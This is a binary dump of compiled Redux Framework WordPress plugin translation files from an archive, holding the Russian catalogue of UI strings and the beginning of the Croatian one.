���[��%���f�������5��������ҍ�������;���@�����|��1���L��k���~�������f�����������L��������ؒ��L�����Q�����J���6��|������������������7��:�����)���7��E���a��������������������?��A�����8���T��D�����,���қ�������5�����<����F���!��a���h��\���ʞ��R���'��N���z�����ɟ�����ҟ��s�����P�����g���E��T���������������������������¥�����ǥ��_���d�����Ħ�����ͦ������������5���r�������I�����m��� �����y�������e�����i��������������� ���&�����3�����C��3���W��-�������������a��&���~��#��������ɫ����٫�����w����������Ү��2�����5�����>���*��"���i��G��������԰��=��������'�� �����*��������;�����X��k���n��q���ڲ��q���L��t��������3��u���Դ��l���J��c�����e�������������#��R���ŷ����������������������)���8��&���b����������+��,���E�����r��O�����(���Ӻ��!�����9��������X�����3�������������������v������������������������������������p��������������������� ����������������m�����������������������������������������(������-�������������������E���\�������������[�������������x�������o�������������/����������,�����������%�����������������O���A�����W���I������|��������������������F�����C���0��������������������������q�����������������!���?���G������4���(������H�� ���������������u�������B���������V�������D���P�������C������ ������k���@��Z�����������������������+������2���$�� ��=���`�������_���n�������������� ��������������������:��T���������d�������������R���+���������������������!��&���������A���)����������9�������2��.��Y�������5�������������������<��D�����@�����E������>��h���������"�����������L������-������*���=�������������0����������� ���r������������������������������������������G������3�����J�����������������������s�����������#������ �����������Q��������7��&�����6����������1��������� �������������{���S��������M���?������8������ ���8��4���������.������f��������� ��)������*������1��������'��������������U�������������;��F���������� ���}���;�������������6��K��b��������������c�������5������^�����������������������������"��������K���e�������N����������������������������������������������������������'���a�������z����������i��������y������9��B������X����������]���J���������$�����%���I��������7��������������������������>����������:���������H���l���t�����,�������������������������� ��3��������/����������������#���g���������������j���w����������������<�����������������������~����%s - We recommend setting memory to at least 40MB. See: <a href="%s" target="_blank">Increasing memory allocated to PHP</a>�<code>%s</code> version <strong style="color:red">%s</strong> is out of date. The core version is %s�<strong>Your panel has bundled outdated copies of Redux Framework template files</strong> – if you encounter functionality issues this could be the reason. Ensure you update or remove them.�Activate Demo Mode�Activate Development Plugins�Active�Active Plugins�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Author URL�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Browser Info�Builder�Changelog�Child Theme�Clear Gallery�Click here to activate the sample config file.�Close�Copied!�Copy Data�Copy Export URL�Copy for Support�Credits�Database Table Prefix�Deactivate Demo Mode�Deactivate Development Plugins�Default�Default Timezone is UTC�Default timezone is %s - it should be UTC�Delete�Description�Determines if PHP will display errors within the browser.�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Displays whether or not WordPress is in Debug Mode.�Displays whether or not the current theme is a child theme.�Do not allow tracking�Docs�Download Data File�Email address�Enable�Error: %s�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Front Page Display�Generate a Support URL�Generate a Support URL�Get Support�Get System Report�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Home URL�Hover�How to Get Support�I am a developer, building a product using Redux.�I am a user, using a pre-built product.�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�If you're modifying Redux Framework or a parent theme you didn't build personally, we recommend using a child theme. See: <a href="%s" target="_blank">How to create a child theme</a>�Import�Import / Export�Import Options�Import from File�Import from URL�Indicates if ajax based saving is enabled for this instance of Redux.�Indicates if developer mode is enabled for this instance of Redux.�Indicates if output flag for globally shutting off all CSS output is enabled for this instance of Redux.�Indicates if the compiler flag is enabled for this instance of Redux.�Indicates the installed Redux extensions and their version numbers.�Information about the web server that is currently hosting your site.�Information about web browser current in use.�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Invalid security credential, please reload the page and try again.�Is the server running in a localhost environment.�Language�Learn More�Left�Letter Spacing�Like Redux?�Line Height�List of template files overriding the default Redux template files.�Listed below are the Wordpress plugins and/or theme installed on your site that utilize Redux Framework. We do not directly support products created with our framework. It is the responsibility of the plugin or theme developer to support their work. You will need to contact the author(s) of the products listed below with your support questions.�Localhost Environment�Max Upload Size�Must call in of after the "plugins_loaded" action.�MySQL Version�Name�New %s�New in this Release�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Our core mantra at Redux is backwards compatibility. With hundreds of thousands of instances worldwide, you can be assured that we will take care of you and your clients.�PHP Display Errors�PHP Max Input Vars�PHP Memory Limit�PHP Post Max Size�PHP Time Limit�PHP Version�Parent Theme Author URL�Parent Theme Name�Parent Theme Version�Password�Permalink Structure�Please Wait�Please be sure to include for your developer - via cut and paste - the Support URL in the box below.�Please copy and paste this information in your ticket when contacting support:�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Please proceed to the Redux Framework issue tracker and supply us with your support URL below. Please also provide any information that will help us to reproduce your issue.�Posts Page�Redux Data Directory Writable�Redux Extensions�Redux Framework�Redux Framework - A Community Effort�Redux Framework - Changelog�Redux Framework - Extensions�Redux Framework - Support�Redux Framework - System Status�Redux Framework Changelog�Redux Framework Status�Redux Framework has an embedded demo.�Redux Framework is the core of many products on the web. It is an option framework which developers use to enhance their products.�Redux Generator�Redux Instance: �Redux Version�Redux and its extensions write data to the <code>uploads</code> directory. This directory must be writable.�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Redux is created by a community of developers world wide. Want to have your name listed too? <a href="https://github.com/reduxframework/redux-framework/blob/master/CONTRIBUTING.md" target="_blank">Contribute to Redux</a>.�Regular�Remote Get�Remote Post�Remove�Repo�Reset All�Reset Section�Right�SUHOSIN Installed�Save Changes�Section Defaults Restored!�Select Support Type�Select Your Support Type�Select an item�Server Environment�Server Info�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Should the developer not be responsive, read the <a href="%s" target="_blank">following article</a> before asking for support from us directly.�Show Object in Javascript Console Object�Site URL�Size�Slide�Standard Fonts�Status�Style�Submit a Support Request�Subscribe�Subsets�Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.�Supercharge your Redux experience. Our extensions provide you with features that will take your products to the next level.�Support�Support hash could not be generated. Please try again later.�System Info�Team Redux�Text Align�Text Decoration�Text Transform�Thank you for updating to the latest version! Redux Framework %s is a huge step forward in Redux Development. Look at all that's new.�That URL slug is in use, please choose another. <code>%s</code> is open for use.�The URL of your site's homepage.�The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)�The current Reading mode of Wordpress.�The current language used by WordPress. Default = English�The current permalink structure as defined in Wordpress Settings->Permalinks.�The currently selected page in where blog posts are displayed.�The currently selected page which acts as the site's Front Page.�The default timezone for your server.�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The global_variable argument for this instance of Redux.�The installed version of the current active theme.�The installed version of the parent theme.�The largest filesize that can be contained in one post.�The largest filesize that can be uploaded to your WordPress installation.�The maximum amount of memory (RAM) that your site can use at one time.�The maximum number of variables your server can use for a single function to avoid overloads.�The name of the current active theme.�The name of the parent theme.�The opt_name argument for this instance of Redux.�The output_tag variable sets whether or not dynamic CSS will be generated for the customizer and Google fonts for this instance of Redux.�The page parent variable sets where the options menu will be placed on the WordPress admin sidebar for this instance of Redux.�The page permissions variable sets the permission level required to access the options panel for this instance of Redux.�The page slug denotes the string used for the options panel page for this instance of Redux.�The parent theme developers URL.�The people that develop Redux Framework�The prefix structure of the current Wordpress database.�The root URL of your site.�The specified template path containing custom template files for this instance of Redux.�The theme developers URL.�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�The version of MySQL installed on your hosting server.�The version of PHP installed on your hosting server.�The version of Redux Framework installed on your site.�The version of WordPress installed on your site.�Theme�There was a problem with your action. Please try again or reload the page.�There was an error saving. Here is the result of your action:�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�This variable set whether or not the menu is displayed as an admin menu item for this instance of Redux.�This will provide to your developer all the information they may need to remedy your issue. This action WILL send information securely to a remote server. To see the type of information sent, please look at the <a href="%s">Status tab</a>.�Title�To �To allow data saving, make <code>%s</code> writable.�To get started, we will need to generate a support hash.�Top�Transparent�URL�Unable to modify required files. Please ensure that�Understanding the Status Report�Units�Unknown action "%1$s" specified for %2$s�Unsafe strings were found in your CSS and have been filtered out.�Upload�Used to grab information from remote servers for updates updates.�Used to send data to remote servers.�Used when communicating with remote services with PHP.�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�WP Debug Mode�WP Memory Limit�WP Multisite�WP Version�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�We are an open source project used by developers to make powerful control panels.�We recognize we are nothing without our community. We would like to thank all of those who help Redux to be what it is. Thank you for your involvement.�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What is Redux Framework?�What type of user are you?�What's New�Whether or not you have WordPress Multisite enabled.�While some are built specificially for developers, extensions such as Custom Fonts are sure to make any user happy.�Width�Word Spacing�WordPress Environment�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your panel has no fields. Nothing to save.�Your server does not have fsockopen or cURL enabled - cURL is used to communicate with other servers. Please contact your hosting provider.�by authorby %s�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�is available�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�wp_remote_get() failed. This is needed to get information from remote servers. Contact your hosting provider.�wp_remote_post() failed. Many advanced features may not function. Contact your hosting provider.�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Vladimir <coder3@web-axioma.ru> Language-Team: Russian (Russia) (http://www.transifex.com/projects/p/redux-framework/language/ru_RU/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ru_RU Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �%s - Мы рекомендуем значение не меньше 40MB. См.: <a href="%s" target="_blank">Увеличение памяти, выделяемой PHP</a>�<code>%s</code> версия<strong style="color:red">%s</strong> устарела. Основная версия — %s�<strong>В вашей панели найдены устаревшие копии файлов шаблонов Redux Framework</strong> – Это может быть причиной возникновения неполадок. Убедитесь, что вы обновили или удалили их.�Включить демонстрационный режим�Активировать плагины для разработки�Ссылка в момент нажатия (a:active)�Активные плагины�Добавить %s�Добавить ещё�Добавить/Изменить галерею�Все�Восстановлены значения по умолчанию!�Разрешить отслеживание�Вы уверены? Сброс приведет к потере всех пользовательских значений.�Вы уверены? Сброс приведет к потере всех пользовательских значений в этом разделе.�Вы уверены? Сброс удалит все индивидуальные настройки!�Ссылка на автора�Автоматическое действие произведено: "%s"�Привязка фона�Background Clip�Background Origin�Позиция фона�Повтор фона�Размер фона�Резервный шрифт�Стиль границы�Низ�Браузер�Информация о браузере�Билдер�Изменения�Дочерняя тема�Очистить галерею�Нажмите здесь для активирования демонстрационных настроек.�Закрыть�Скопировано!�Копировать данные�Копировать URL экспорта�Копия для поддержки�Благодарности�Префикс таблиц в БД�Выключить демонстрационный режим�Деактивировать плагины для разработки�По умолчанию�Часовым поясом по умолчанию является UTC�Часовым поясом по умолчанию является %s - должен быть UTC�Удалить�Описание�Определяет, будет ли PHP выводить ошибки в браузер.�Разработчик�Режим Разработчика�Знаете ли вы, что у нас есть расширения, которые улучшают Redux? Посетите наш %1$s, чтобы узнать больше!�Отключить�Закрыть�Показывает, находится ли WordPress в Режиме Отладки�Отображает, является ли текущая тема дочерней�Запретить отслеживание�Документация�Скачать Data File�Адрес эл. почты�Включить�Ошибка: %s�Раскрыть�Экспорт настроек�Дополнения�Цвет Шрифта�Шрифт�Размер Шрифта�Наборы шрифта�Font Variant�Насыщенность (толщина) & стиль шрифта.�Цвет шрифта�Семейство шрифтов�Скрипт шрифта�Стиль шрифта�Подгруппа шрифта�От�Главная страница�Показать главную страницу�Сгенерировать URL поддержки.�Сгенерировать URL поддержки�Получить поддержку�Получить системный отчет�Приступая к работе�Google Webfonts�Высота�Помогите улучшить нашу Панель Настроек!�Здесь вы можете скопировать/скачать ваши текущие настройки панели управления. Сохраненные настройки могут быть использованы для восстановления конфигурации при любых сбоях или для переноса настроек на другой сайт.�Подсказки�Подсказки - это облачка, выплывающие когда %d предлагает дополнительную информацию. Они могу быть %d по ссылке ниже.�URL домашней страницы�Ссылка при наведении курсора (a:hover)�Как получить поддержку�Я — разработчик, собирающий продукт с помощью Redux.�Я — пользователь, использующий уже готовый продукт.�Если так, пожалуйста %1$s и рассмотрите %2$s на развитие разработки Redux.�Если Вы хотите быть в курсе всего о Redux, пожалуйста подпишитесь на нашу рассылку�Если Вы переносите Redux Framework или родительскую тему, Вам не надо собирать её лично, мы рекомендуем использовать дочернюю тему. Для справки: <a href="%s" target="_blank">How to create a child theme</a>�Импорт�Импорт / Экспорт�Импорт настроек�Импорт из файла�Импорт из URL�Показывает, включены ли AJAX-сервисы для данного объекта Redux.�Показывает, включен ли режим разработчика для данного объекта Redux.�Указывает, включен ли флаг, который глобально отключает весь вывод CSS для данного экземпляра Redux.�Указывает на то, включен ли флаг компилятора для данного экземпляра Redux.�Указывает установленные расширения Redux и номера их версий.�Информация о текущем сервере, на котором находится Ваш сайт�Информация о текущем используемом браузере�Введите URL другого набора настроек и нажмите Импорт для загрузки новых параметров.�Загрузите вашу резервную копию настроек и нажмите Импорт для восстановления.�Неверное удостоверение безопасности, пожалуйста, перезагрузите страницу и повторите попытку.�Является ли запущенный сервер окружением localhost�Язык�Узнать больше�Слева�Межбуквенное расстояние�Нравится Redux?�Line Height�Список файлов шаблона, которые перезаписывают стандартные файлы шаблонов Redux.�Ниже перечислены Wordpress плагины и / или темы, установленные на вашем сайте, что используют Redux Framework. Мы напрямую не поддерживаем продукты, созданные с нашим фреймворком. Это ответственность разработчика плагина или темы. Вам нужно будет связаться с автором (ами) продуктов, перечисленных ниже с вашими вопросами поддержки.�Среда Localhost�Максимальный размер загружаемого файла�Должно вызываться после действий "plugins_loaded".�Версия MySQL�Имя�Новый %s�Новое в этом релизе�Новостная рассылка�Не найдено ни одного элемента заданного типа.�Медиа-файл не выбран�Выкл.�Вкл.�Настройки�Настройки объектов�Панель настроек создана с помощью %1$s�Наша основная мантра в Redux — это обратная совместимость. С сотнями тысяч экземпляров по всему миру, вы можете быть уверены, что мы будем заботиться о вас и ваших клиентах.�Переменная PHP Display Errors�Переменная PHP Max Input�Лимит памяти PHP�Максимально допустимый размер данных, отправляемых методом POST�Лимит времени PHP�Версия PHP�URL автора родительской темы�Имя родительской темы�Версия родительской темы�Пароль�Структура постоянны ссылок�Пожалуйста, подождите�Пожалуйста, не забудьте включить для разработчика - с помощью вырезания и вставки - URL поддержки в поле ниже.�Пожалуйста, скопируйте следующую информацию и вставьте её в ваш тикет при обращении в службу поддержки:�Пожалуйста, помогите улучшить нашу панель позволив собрать анонимную статистику о конфигурации, плагинах и шаблонах, чтобы точнее тестировать совместимость.�Пожалуйста, перейдите к трекеру Redux Framework и предоставьте нам свой адрес поддержки ниже. Просьба также представить любую информацию, которая поможет нам воспроизвести вашу проблему.�Страница постов�Папка для данных Redux доступна для записи�Расширения Redux�Redux Framework�Redux Framework - Общественное достижение�Redux Framework - Журнал изменений�Redux Framework - Расширения�Redux Framework - Техническая поддержка�Redux Framework - Состояние системы�Журнал Redux Framework�Статус Redux Framework�Redux Framework имеет встроенную демонстрацию.�Redux Framework — это ядро многих веб-продуктов. Это один из фреймворков, который используют разработчики для улучшения их разработок.�Redux Генератор�Объект Redux:�Версия Redux�Redux и его расширения сохраняют данные в папку <code>uploads</code>. Эта директория должна быть доступна для записи.�Redux — простой, действительно расширяемый фреймворк настроек для тем и плагинов WordPress�Redux создаётся разработчиками со всего мира. Хотите внести своё имя в список? <a href="https://github.com/reduxframework/redux-framework/blob/master/CONTRIBUTING.md" target="_blank">Contribute to Redux</a>.�Обычная ссылка (a:link)�Удалённый GET�Удалённый POST�Убрать�Репозиторий�Сбросить все�Сброс раздела�Справа�Установлен ли SUHOSIN�Сохранить изменения�Настройки по умолчанию восстановлены.�Выберите тип поддержки�Выберите Ваш тип поддержки�Выбрать элемент�Окружение сервера�Информация о сервере�Настройки импортированы!�Настройки сохранены!�Настройки были изменены, Вам следует их сохранить!�Если разработчик не реагирует, прочитайте <a href="%s" target="_blank">следующую статью </a>, прежде чем просить поддержки у нас напрямую.�Показать объект в консоли JavaScript�URL сайта�Размер�Слайд�Стандартный шрифт�Статус�Стиль�Отправить запрос в поддержку�Подписаться�Подгруппы�Suhosin является усовершенствованной системой защиты установки PHP. Он был разработан для защиты серверов, с одной стороны против ряда хорошо известных проблем в PHP приложениях, а с другой стороны от потенциальных неизвестных уязвимостей в этих приложениях или самого ядра PHP. Если Suhosin включен на вашем сервере, возможно, он должен быть настроены для повышения его пределов представления данных.�Улучшите ваш опыт с Redux. Наши расширения предоставят Вам функционал, с помощью которого вы выведете Ваш продукт на новый уровень.�Поддержка�Хэш поддержки не может быть сгенерирован. Пожалуйста, повторите попытку позже.�Системная информация�Team Redux�Выравнивание текста�Text Decoration�Произвольное Преобразование�Спасибо за обновление до последней версии! Redux Framework %s — это большой шаг вперёд в разработке Redux. Взгляните на обновления.�Данный краткий заголовок занят, пожалуйста, выберите другой. <code>%s</code> не занят.�URL главной страницы Вашего сайта�Время (в секундах) которое Ваш сайт может потратить на одну операцию до таймаута (во избежание зависания сервера).�Текущий режим чтения Wordpress.�Текущий язык, используемый WordPress. По умолчанию - Английский�Текущая структура постоянных ссылок, как определено в Консоль -> Настройки -> Постоянные ссылки�Выбранная страница, на которой выводятся посты из блога�Выбранная сейчас страница, которая выступает в роли Главной Страницы сайта�Часовой пояс Вашего сервера по умолчанию.�Следующие папки и файлы всё еще находятся в директории <strong>Redux</strong>. Они могут вызвать ошибки при Theme-Check.�Аргумент global_variable для данного объекта Redux.�Установленная версия текущей активной темы.�Установленная версия родительской темы.�Максимальный размер файла, который может содержаться в одном посте.�Максимальный размер файла, который может загружен в вашу инсталляцию Wordpress.�Максимальное количество памяти (RAM), которое может использовать ваш сайт в один момент времени.�Максимальное кол-во переменных, которые может использовать Ваш сервер в одной функции, избегая перегрузки.�Название текущей активной темы.�Имя родительской темы.�Аргумент opt_name для данного объекта Redux.�Переменная "output_tag" устанавливает, будет ли генерироваться динамический CSS для настройщика и шрифтов Google для данного экземпляра Redux.�Переменная "page parent" определяет, где будет меню настроек размещено в панели администрирования Wordpress для данного экземпляра Redux.�Переменная "page permissions" устанавливает уровень прав для доступа к панели настроек для этого экземпляра Redux.�Краткий заголовок страницы обозначает строку, используемую для страницы панели настроек для этого экземпляра Redux.�URL разработчиков родительской темы.�Люди, разрабатывающие Redux Framework�Структура префикса в текущей БД Wordpress�Корневой URL Вашего сайта�Указанный путь к шаблону, содержащий пользовательские файлы шаблонов для этого экземпляра Redux.�Ссылка на разработчиков темы�В теме, которую вы тестируете, имеется встроенный %s. Пожалуйста, прочтите %sДокументацию по проверке тем%s чтобы понять некоторые предупреждения, которые вы увидите из-за Redux.�Неизвестное действие было заменено "%s"�Версия MySQL, установленная на сервере Вашего хостинга.�Версия PHP, установленная на сервер Вашего хостинга�Версия Redux Framework была установлена на Ваш сайт.�Версия WordPress, установленная на Вашем сайте.�Тема�Возникла проблема с Вашим действием. Пожалуйста, перезагрузите страницу или попробуйте позже.�Произошла ошибка при сохранении. Вот результат Ваших действий:�Поле не должно быть пусто. Введите значение.�Данное поле должно содержать корректное значение цвета.�Данное поле должно содержать корректную дату.�Эта панель демонстрирует многие важные свойства Redux. Прежде чем углубляться, мы предлагаем Вам увеличить скорость обучения, просмотрев %1$s.�Эта переменная определяет, отображать или нет меню, как меню администратора для этого экземпляра Redux.�Это даст вашему разработчика всю информацию, в которой он нуждается, чтобы исправить вашу проблему. Это действие будет посылать информацию надежно на удаленный сервер. Чтобы увидеть тип информации, который отправляется, пожалуйста, посмотрите на <a href="%s">вкладке статус</a>.�Заголовок�До�Чтобы получить возможность сохранять данные, сделайте <code>%s</code> доступной для записи.�Нам нужно будет создать хэш поддержки, чтобы начать.�Верх�Прозрачный�URL�Невозможно модифицировать требуемые файлы. Пожалуйста, удостоверьтесь, что�Понимание отчёта о состоянии�ед. измерения�Неизвестное действие "%1$s" указано для %2$s�Небезопасные строки были найдены в вашем CSS и отфильтрованы�Загрузить�Используется, чтобы принимать информацию с удаленных серверов для обновления.�Используется для отправки данных на удаленные сервера.�Используется при общении с удаленными сервисами через PHP.�Пользователь�Имя пользователя�Версия�Версия %s�Смотреть %s�Перейти на страницу плагина�Посещенная ссылка (a:visited)�ВНИМАНИЕ! Данное действие заменит все существующие значения. Пожалуйста, будьте осторожны!�Режим отладки WP�Ограничение памяти WP�Мультисайтовость WP�Версия WP�Хотите получить хороший старт? Используйте %1$s. Это создаст индивидуальный шаблон темы или автономную папку администратора в комплекте со всеми вещами Redux (с помощью Undescore и TGM). Избавьтесь от головной боли и попробуйте сегодня.�Предупреждение: Эта панель настроек не будет нормально работать без JavaScript!�Мы - проект с открытым исходным кодом, используемый разработчиками для создания мощных административных панелей.�Мы осознаём, что мы — ничто без нашего комьюнити. Мы хотели бы поблагодарить всех, кто помогает создавать Redux. Спасибо за ваш вклад.�Добро Пожаловать в Redux Framework�Добро пожаловать в Redux Framework %s�Добро пожаловать в демо-панель Redux�Что такое Redux Framework?�Каким типом пользователя Вы являетесь?�Что нового?�Включена или нет опция WordPress Multisite�В то время как некоторые сделаны только для разработчиков, такие расширения как Custom Fonts делают пользователя счастливее.�Ширина�Интервал между словами�Окружение WordPress�Обработка...�У вас недостаточно полномочий для доступа к этой странице.�Некоторые настройки не сохранены. Хотите сохранить их сейчас?�Некоторые настройки не сохранены. Хотите сохранить их сейчас?�Вы не должны вводить HTML в данное поле. Все HTML тэги будут удалены.�Вы не должны вводить специальные символы в данное поле. Все спец. символы будут удалены.�Вы должны ввести список числовых значений, разделённых запятой.�Вы должны использовать числовое значение для данной опции.�Вы должны использовать корректный URL для данной опции.�Вы должны использовать корректный email для данной опции.�Ваши текущие настройки будут заменены значениями из этого набора. Вы хотите продолжить?�Ваши текущие настройки будут заменены значениями из этого набора. Вы хотите продолжить?�Ваша панель не имеет полей. Нечего сохранять.�Ваш сервер не имеет fsockopen или cURL - cURL используется для связи с другими серверами. Пожалуйста, свяжитесь с вашим хостинг-провайдером.�by %s�нажатие�пожертвование�ошибка(и) были найдены!�папка с расширениями�имеет достаточные права на чтение/запись или введите информацию для доступа по FTP здесь.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�доступен�оставьте доброжелательный отзыв на WordPress.org�при наведении курсора�наша документация�предупреждение(я) были найдены!�wp_remote_get () не удалось. Это необходимо, чтобы получить информацию из удаленных серверов. Обратитесь к хостинг-провайдеру.�wp_remote_post () не удалось. Многие продвинутые функции могут не работать. Обратитесь к хостинг-провайдеру.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-hr.mo�����������������������������������������������������0000644�����������������00000022016�14720701300�0015715 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������p�����������������p �����q ����� ����� ����� ����� ����� ��5��� ��D��� ��4���3 �����h �����~ ����� ����� �� ��� ����� �� ��� �� ��� ��.��� ����� ����� ����� �����5 �����= �� ���D �� ���P �����Z �����b �����j ����� ����� ����� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ��]���! ��X��� ����� ����� ����� ��!��� ����������%�����-�� ���<�����]�����f��%���v������������ ����� ���������� ��������������������,�����(���5�����^�����c�����r�����y������� ����������'����� �������������������� ������������������������ ������������ ���#�����.�����D��U���L��F���������� ����� �����;�����F���C��E�����K�����b�����L�����3�����-������/���.��a���^��`��������!�����6����M���������� �� �������������4�����8��K���J��Z�����K��������=�����O�����a�� ���v�� ��������������������=����������������������������%�����-�����2�� ���E�����P�����X�����r�����{�� ���������� ����� ����� ����� �������������������������!���������"����� �����&�� ���+�� ���8�� ���E��V���S��K���������� �������� ��!�����!���2�����T�� ���[��'���i������������"����� ���������� ����������������������������"�����4��4���I��#���~�� �������������������� ���������������4�����*���&�����Q�����X�����[�����_�����h�����l�����u�����~������������ ���������������l�����I���: ����� ����� ����� ��5��� ��@��� ��@���!��G���\!��c���!��d���"��3���m"��)���"��2���"��l���"��k���k#�����#�����#��������������������������������������R���/���O�����������<���8����������>���,���b���#������ ���p���d���m���^���`���%���"���+�������0���f������P���5���T���E�������������V����������Y��� ���L���(���G�������*���9�������J����������a�����������������]��� �����������S��� ���.�������6���H���3���n�������M���U���)������C����������l���K����������c���N�������X���!��������������4���D���g���1���e����������h���'������Z����������2����������@���:�������&���7�������[���$������������ ���W���B���I���;������?���F���k���i�������=���Q���-�������j���o����������� ������_�������\�������A����Activate Demo Mode�Active�Add More�Add/Edit Gallery�All�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Default�Delete�Description�Developer�Disable�Dismiss�Do not allow tracking�Enable�Expand�Export Options�Font Family�Font color�Font family�Font script�Font style�Font subsets�From �Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hover�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Name�No items of this type were found.�No media selected�Options�Options Object�Options panel created using %1$s�Password�Redux Framework�Redux Framework has an embedded demo.�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Standard Fonts�Status�Style�Subsets�System Info�Theme�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Version�Version %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Warning- This options panel will not work properly without javascript!�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�error(s) were found!�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Croatian (http://www.transifex.com/projects/p/redux-framework/language/hr/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: hr Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: 